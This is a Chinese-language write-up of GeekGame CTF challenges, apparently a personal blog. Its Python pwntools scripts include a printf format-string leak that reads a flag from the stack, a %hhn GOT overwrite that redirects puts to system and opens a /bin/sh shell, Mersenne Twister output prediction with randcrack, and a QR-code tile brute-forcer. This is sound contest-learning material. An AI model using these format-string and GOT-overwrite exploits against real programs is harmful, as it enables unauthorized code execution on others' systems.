和一个给定的整型变量0xdeadbeef
printf
输出的就是栈里的东西了
题目读取的flag1
这个变量printf
函数输出它
- unsigned __int64 test()
- {
- int v0; // r8d
- int v1; // r9d
- char v3; // [rsp+0h] [rbp-4F0h]
- __int64 v4; // [rsp+18h] [rbp-4D8h]
- char v5[16]; // [rsp+60h] [rbp-490h] BYREF
- __int64 v6; // [rsp+70h] [rbp-480h]
- __int64 v7; // [rsp+78h] [rbp-478h]
- __int64 v8; // [rsp+80h] [rbp-470h]
- __int64 v9; // [rsp+88h] [rbp-468h]
- __int64 v10; // [rsp+90h] [rbp-460h]
- __int64 v11; // [rsp+98h] [rbp-458h]
- __int64 v12[8]; // [rsp+A0h] [rbp-450h] BYREF
- char v13[1032]; // [rsp+E0h] [rbp-410h] BYREF
- unsigned __int64 v14; // [rsp+4E8h] [rbp-8h]
- v14 = __readfsqword(0x28u);
- strcpy(v5, "a_public_string");
- v6 = 0LL;
- v7 = 0LL;
- v8 = 0LL;
- v9 = 0LL;
- v10 = 0LL;
- v11 = 0LL;
- v12[0] = 0x67616C665F61LL;
- memset(&v12[1], 0, 56);
- v4 = fopen64("flag_f503be2d", &unk_9F008);
- fgets(v12, 63LL, v4);
- fclose(v4);
- while ( 1 )
- {
- puts("Please input your instruction:");
- fgets(v13, 1023LL, stdin);
- if ( !(unsigned int)memcmp(v13, "exit", 4LL) )
- break;
- if ( (int)printf((unsigned int)v13, (unsigned int)v5, -559038737, (unsigned int)v5, v0, v1, v3) > 1024 )
- {
- puts("Too long!");
- return __readfsqword(0x28u) ^ v14;
- }
- putchar(10LL);
- }
- return __readfsqword(0x28u) ^ v14;
- }
显然这里的v13
就是buf
v12
就是flag1
v5
就是publics
flag1
相对publics
的内存地址加了0x40
publics
的内存地址可以通过%p
来得到printf
输出flag1
了
到目前为止还算简单addr%k$s
来构造addr
是什么%k
是多少
在输入格式化字符串buf
的时候%(n)$p
来获取%1$p
是第一个参数%p
buf
的
因为
64 位的参数存放是优先寄存器 (rdi,rsi,rdx,rcx,r8,r9) 占满以后第 , 7 个参数才会存放在栈上 这就是跟 。 32 位找偏移不同地方 。
这句话我一直没搞明白buf
的地址是[rsp+E0h]
224 / 8 + 6 = 34
%34$p
就可以获取到buf
保存的数据了AAAAAAAA%18$p %19$p ... %63$p
buf
的相对位置试出来的
找到了地址%p
可以直接获得publics
的绝对地址0x40
得到flag1
的绝对地址flag1
的字符串flag1
的绝对地址传给printf
函数addr%k$s
%k
就是格式化字符串的addr
则是以小端序保存的字符串在内存中的绝对地址%k
的位置%k$s
%s
是字符串格式printf
函数读到构造的addr
所在的内容flag1
00 00
addr
放在后面
- from pwn import *
- conn = connect("prob09.geekgame.pku.edu.cn", "10009")
- conn.recvuntil(b"Please input your token: ")
- conn.sendline(b"MY TOKEN")
- conn.recvuntil(b"Please input your instruction:\n")
- conn.sendline(b"%1$p")
- line = conn.recvline().decode("utf8", "ignore")
- addr = int(line[2:], 16) + 0x40
- conn.recvuntil(b"Please input your instruction:\n")
- conn.sendline(b"%35$s".ljust(0x08, b"a") + p64(addr))
- line = conn.recvline().decode("utf8", "ignore")
- print(line)
- conn.close()
现在复盘一下flag1
的地址是[rsp+A0h]
- from pwn import *
- import struct
- conn = connect("prob09.geekgame.pku.edu.cn", "10009")
- conn.recvuntil(b"Please input your token: ")
- conn.sendline(b"MY TOKEN")
- conn.recvuntil(b"Please input your instruction:\n")
- conn.sendline(b"%26$p %27$p %28$p %29$p %30$p %31$p %32$p %33$p")
- line = conn.recvline().decode("utf8", "ignore").strip("\n")
- line_bytes = struct.pack("<8Q", *[int(x[2:], 16) if x != "(nil)" else 0 for x in line.split(" ")])
- print(line_bytes.decode("utf8", "ignore"))
- conn.close()
Flag 2
这个题和下面的
Baby Stack
Flag 1
int
Flag 2
这个题似乎就是教程上写的题目类型puts
puts
替换为system
- from pwn import *
- context(arch="amd64", os="linux")
- r = connect("prob11.geekgame.pku.edu.cn", "10011")
- r.recvuntil(b"Please input your token: ")
- r.sendline(b"MY TOKEN")
- elf = ELF("./challenge2")
- libc = ELF("./libc.so.6")
- offset = 14
- puts_got = elf.got["puts"]
- log.success("puts_got => {}".format(hex(puts_got)))
- r.recvuntil(b"please enter your flag~(less than 0x20 characters)\n")
- payload = f"%{offset + 1}$s".encode("utf-8").ljust(8, b"a") + p64(puts_got)
- r.sendline(payload)
- printf_addr = r.recvline()[len(b"this is your flag: "):]
- printf_addr = struct.unpack("<Q", printf_addr[:printf_addr.index(b"a")].ljust(8, b"\x00"))[0]
- log.success("puts_addr => {}".format(hex(printf_addr)))
- system_addr = printf_addr - (libc.symbols["puts"] - libc.symbols["system"])
- log.success("system_addr => {}".format(hex(system_addr)))
- btw = sorted(((system_addr & 0xff, 0), ((system_addr >> 8) & 0xff, 1), ((system_addr >> 16) & 0xff, 2)))
- payload = f"%{btw[0][0]}c%{offset + 5}$hhn%{btw[1][0] - btw[0][0]}c%{offset + 6}$hhn%{btw[2][0] - btw[1][0]}c%{offset + 7}$hhn".encode().ljust(40, b"a") + p64(puts_got + btw[0][1]) + p64(puts_got + btw[1][1]) + p64(puts_got + btw[2][1])
- print(payload)
- r.recvuntil(b"What will you do to capture it?:")
- r.sendline(payload)
- r.recvuntil(b" and your flag again? :")
- payload = b"/bin/sh"
- r.sendline(payload)
- r.interactive()
但是实际运行的时候会在换
看了官方题解__libc_start_main
而非puts
- from pwn import *
- context(arch="amd64", os="linux")
- r = connect("prob11.geekgame.pku.edu.cn", "10011")
- r.recvuntil(b"Please input your token: ")
- r.sendline(b"MY TOKEN")
- elf = ELF("./challenge2")
- libc = ELF("./libc.so.6")
- offset_1 = 14
- offset_2 = 6
- puts_got = elf.got["puts"]
- start_main_got = elf.got["__libc_start_main"]
- r.recvuntil(b"please enter your flag~(less than 0x20 characters)\n")
- payload = f"%{offset_1 + 1}$s".encode("utf-8").ljust(8, b"a") + p64(start_main_got)
- r.sendline(payload)
- puts_addr = r.recvline()[len(b"this is your flag: "):]
- puts_addr = struct.unpack("<Q", puts_addr[:puts_addr.index(b"a")].ljust(8, b"\x00"))[0]
- log.success("puts_addr => {}".format(hex(puts_addr)))
- system_addr = puts_addr - (libc.symbols["__libc_start_main"] - libc.symbols["system"])
- log.success("system_addr => {}".format(hex(system_addr)))
- btw = sorted(((system_addr & 0xff, 0), ((system_addr >> 8) & 0xff, 1), ((system_addr >> 16) & 0xff, 2)))
- payload = f"%{btw[0][0]}c%{offset_2 + 5}$hhn%{btw[1][0] - btw[0][0]}c%{offset_2 + 6}$hhn%{btw[2][0] - btw[1][0]}c%{offset_2 + 7}$hhn".encode().ljust(40, b"a") + p64(puts_got + btw[0][1]) + p64(puts_got + btw[1][1]) + p64(puts_got + btw[2][1])
- print(payload)
- r.recvuntil(b"What will you do to capture it?:")
- r.sendline(payload)
- r.recvuntil(b" and your flag again? :")
- payload = b"/bin/sh"
- r.sendline(payload)
- r.interactive()
Algorithm
关键词过滤喵, 谢谢喵
Flag 1: 字数统计喵
二进制题和算法题我都有点不太会做
- 如果是空白文件
直接替换成, ; - 不是空白文件
把所有的字符替换成同一个字符, -
喵 但是由于处理程序写的是; while inst.regex.search(s):
如果输出后的字符还能替换会被卡死, 所以先把, -
替换成+
再把所有字符替换成, -
喵; - 按十万位
万位、 千位、 百位、 十位、 个位依次替换成、 G
-A
如果有某位空缺, 就替换成, 0
喵; - 最后按照字母个数替换成
再把空格删除, 就得到了最终结果喵, 。
还好所有的输入数据都在百万个字符以内
最终的结果是这样的喵
- 如果看到【(.|\n)】就跳转到【开始替换】喵
- 把【^】替换成【0】喵
- 如果看到【0】就跳转到【谢谢喵】喵
- 开始替换:
- 重复把【-】替换成【+】喵
- 重复把【[^\-]】替换成【-】喵
- 重复把【-{1000000}】替换成【G】喵
- 如果看到【-{100000}】就跳转到【F】喵
- 把【^([G0]+)】替换成【\1 0】喵
- F:
- 重复把【-{100000}】替换成【F】喵
- 如果看到【-{10000}】就跳转到【E】喵
- 把【^([FG0]+)】替换成【\1 0】喵
- E:
- 重复把【-{10000}】替换成【E】喵
- 如果看到【-{1000}】就跳转到【D】喵
- 把【^([E-G0]+)】替换成【\1 0】喵
- D:
- 重复把【-{1000}】替换成【D】喵
- 如果看到【-{100}】就跳转到【C】喵
- 把【^([D-G0]+)】替换成【\1 0】喵
- C:
- 重复把【-{100}】替换成【C】喵
- 如果看到【-{10}】就跳转到【B】喵
- 把【^([C-G0]+)】替换成【\1 0】喵
- B:
- 重复把【-{10}】替换成【B】喵
- 如果看到【-】就跳转到【A】喵
- 把【^([B-G0]+)】替换成【\1 0】喵
- A:
- 重复把【-】替换成【A】喵
- 重复把【([A-Z])0\1】替换成【\1\1】喵
- 重复把【([A-Z])\1{8}】替换成【9】喵
- 重复把【([A-Z])\1{7}】替换成【8】喵
- 重复把【([A-Z])\1{6}】替换成【7】喵
- 重复把【([A-Z])\1{5}】替换成【6】喵
- 重复把【([A-Z])\1{4}】替换成【5】喵
- 重复把【([A-Z])\1{3}】替换成【4】喵
- 重复把【([A-Z])\1{2}】替换成【3】喵
- 重复把【([A-Z])\1】替换成【2】喵
- 重复把【[A-Z]】替换成【1】喵
- 重复把【 】替换成【】喵
- 谢谢喵:
- 谢谢喵
小章鱼的曲奇
Flag 1: Smol Cookie
都知道编程语言的随机数实际上是伪随机数
- from pwn import *
- from randcrack import RandCrack
- def xor_arrays(a, b, *args):
- if args:
- return xor_arrays(a, xor_arrays(b, *args))
- return bytes([x ^ y for x, y in zip(a, b)])
- conn = remote("prob08.geekgame.pku.edu.cn", 10008)
- conn.recvuntil(b"Please input your token: ")
- conn.sendline(b"MY TOKEN")
- conn.recvuntil(b"Choose one: ")
- conn.sendline(b"1")
- conn.recvuntil(b"*You heard a obscure voice coming from the void*\n")
- ancient_words = conn.recvline().decode("utf8").strip()
- ancient_bytes = bytes.fromhex(ancient_words)
- rc = RandCrack()
- for i in range(0, 624 * 4, 4):
- rc.submit(ancient_bytes[i] + (ancient_bytes[i + 1] << 8) + (ancient_bytes[i + 2] << 16) + (ancient_bytes[i + 3] << 24))
- rand_bytes = ancient_bytes[:624 * 4]
- for i in range(624 * 4, len(ancient_bytes), 4):
- rand_bytes += rc.predict_getrandbits(32).to_bytes(4, "little")
- assert ancient_bytes[624 * 4:625 * 4] == rand_bytes[624 * 4:625 * 4]
- print(xor_arrays(ancient_bytes, rand_bytes).strip(b"\0").decode("utf8").strip())
Flag 2: Big Cookie
类似于
虽然题目提示了seed1 == seed2
seed2 = -seed1
就可以抵消掉
- from pwn import *
- from randcrack import RandCrack
- def xor_arrays(a, b, *args):
- if args:
- return xor_arrays(a, xor_arrays(b, *args))
- return bytes([x ^ y for x, y in zip(a, b)])
- conn = remote("prob08.geekgame.pku.edu.cn", 10008)
- conn.recvuntil(b"Please input your token: ")
- conn.sendline(b"MY TOKEN")
- conn.recvuntil(b"Choose one: ")
- conn.sendline(b"2")
- conn.recvuntil("Ƀēħꝋłđ, ⱦħīꞥē ēɏēꞩ đꝋꞩⱦ ȼⱥⱦȼħ ⱥ ӻɍⱥꞡᵯēꞥⱦ ꝋӻ ēꞩꝋⱦēɍīȼ ēꞥīꞡᵯⱥ, ⱥ ᵯēɍē ꞡłīᵯᵯēɍ ⱳīⱦħīꞥ ⱦħē ӻⱥⱦħꝋᵯłēꞩꞩ ⱥƀɏꞩꞩ.\n".encode("utf8"))
- seed1 = int(conn.recvline().decode("utf8").strip("\n<>"), 16)
- conn.recvuntil("Ⱳħⱥⱦ ɍēꞩꝑꝋꞥꞩē đꝋꞩⱦ ⱦħꝋᵾ ꝑɍꝋӻӻēɍ, ꝑᵾꞥɏ ᵯꝋɍⱦⱥł?\n".encode("utf8"))
- conn.sendline(f"-{seed1}".encode("utf8"))
- conn.recvuntil(b"*You heard a more obscure voice coming from the void*\n")
- ancient_words = conn.recvline().decode("utf8").strip()
- ancient_bytes = bytes.fromhex(ancient_words)
- rc = RandCrack()
- for i in range(0, 624 * 4, 4):
- rc.submit(ancient_bytes[i] + (ancient_bytes[i + 1] << 8) + (ancient_bytes[i + 2] << 16) + (ancient_bytes[i + 3] << 24))
- rand_bytes = ancient_bytes[:624 * 4]
- for i in range(624 * 4, len(ancient_bytes), 4):
- rand_bytes += rc.predict_getrandbits(32).to_bytes(4, "little")
- assert ancient_bytes[624 * 4:625 * 4] == rand_bytes[624 * 4:625 * 4]
- print(xor_arrays(ancient_bytes, rand_bytes).strip(b"\0").decode("utf8").strip())
Flag 3: SUPA BIG Cookie
这题就更复杂了
- from pwn import *
- def xor_arrays(a, b, *args):
- if args:
- return xor_arrays(a, xor_arrays(b, *args))
- return bytes([x ^ y for x, y in zip(a, b)])
- conn = remote("prob08.geekgame.pku.edu.cn", 10008)
- conn.recvuntil(b"Please input your token: ")
- conn.sendline(b"MY TOKEN")
- conn.recvuntil(b"Choose one: ")
- conn.sendline(b"3")
- conn.recvuntil("Ⱦħē đⱥɏ ꝋӻ ɍēȼҟꝋꞥīꞥꞡ đɍⱥⱳēⱦħ ꞥīꞡħ ⱳīⱦħ ħⱥꞩⱦē. Ħⱥꞩⱦēꞥ, ꝋɍ ӻꝋɍӻēīⱦ ⱥłł.\n".encode("utf8"))
- curses = conn.recvline().decode("utf8").strip("\n<>")
- conn.recvuntil("Ⱳħⱥⱦ ɍēꞩꝑꝋꞥꞩē đꝋꞩⱦ ⱦħꝋᵾ ꝑɍꝋӻӻēɍ, ꝑᵾꞥɏ ᵯꝋɍⱦⱥł?\n".encode("utf8"))
- conn.sendline(curses.replace("0x", "").encode("utf8"))
- conn.recvuntil(b"Good job, Smol Tako! Here's your delicious SUPA BIG cookie! uwu\n")
- print(conn.recvline().decode("utf8").strip())
华维码
Flag 1: 华维码 · 特难
又是二维码

这样一来剩下的图块就不多了
- import itertools
- from PIL import Image
- import os
- from pyzbar.pyzbar import decode
- os.chdir(os.path.dirname(__file__))
- image = Image.open("250.png")
- file_names = ["015", "020", "014", "004", "003", "018"]
- pos = [(100, 0), (0, 100), (100, 100), (150, 100), (200, 100), (100, 150), (100, 200), (200, 200)]
- for a, b in [("012", "011"), ("011", "012")]:
- image.paste(Image.open(a + ".png"), (200, 150))
- for c, d in [("002", "010"), ("010", "002")]:
- image.paste(Image.open(c + ".png"), (150, 200))
- for permutations in itertools.permutations(file_names + [b, d]):
- if Image.open(permutations[-1] + ".png").getpixel((2, 2)) != 0:
- continue
- for i, name in enumerate(permutations):
- image.paste(Image.open(name + ".png"), pos[i])
- result = decode(image)
- if len(result) > 0:
- print(result[0].data.decode("ascii"))
最后得到
后记
对我来说这是第二次正式参加这种比赛
最后放一张飞机的图吧




后后记
有些略微离谱的是
